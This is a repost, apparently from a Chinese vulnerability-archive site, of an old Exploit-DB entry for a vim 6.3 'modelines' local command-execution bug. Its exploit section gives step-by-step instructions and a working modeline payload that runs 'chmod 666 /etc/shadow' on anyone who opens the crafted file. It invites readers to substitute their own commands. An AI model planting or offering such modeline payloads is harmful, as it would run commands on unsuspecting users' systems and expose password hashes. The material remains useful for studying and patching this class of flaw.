vim 6.3 < 6.3.082 - 'modlines' Local Command Execution

admin 2021年4月9日07:04:21网络安全漏洞评论78阅读模式

vim 6.3 < 6.3.082 - 'modlines' Local Command Execution

漏洞ID 1055285 漏洞类型
发布时间 2005-07-25 更新时间 2005-07-25
vim 6.3 < 6.3.082 - 'modlines' Local Command ExecutionCVE编号 N/A
vim 6.3 < 6.3.082 - 'modlines' Local Command ExecutionCNNVD-ID N/A
漏洞平台 Multiple CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1119
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod 666 /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
   chmod 666 /etc/shadow
   
Have fun making your own commands.

The advisory can be found at:
  http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html

/str0ke

# milw0rm.com [2005-07-25]

相关推荐: Zap Book Server Side Include Arbitrary Command Execution Vulnerability

Zap Book Server Side Include Arbitrary Command Execution Vulnerability 漏洞ID 1101838 漏洞类型 Input Validation Error 发布时间 2002-06-30 更新…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月9日07:04:21
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securityvulns/2021/04_09/48080.html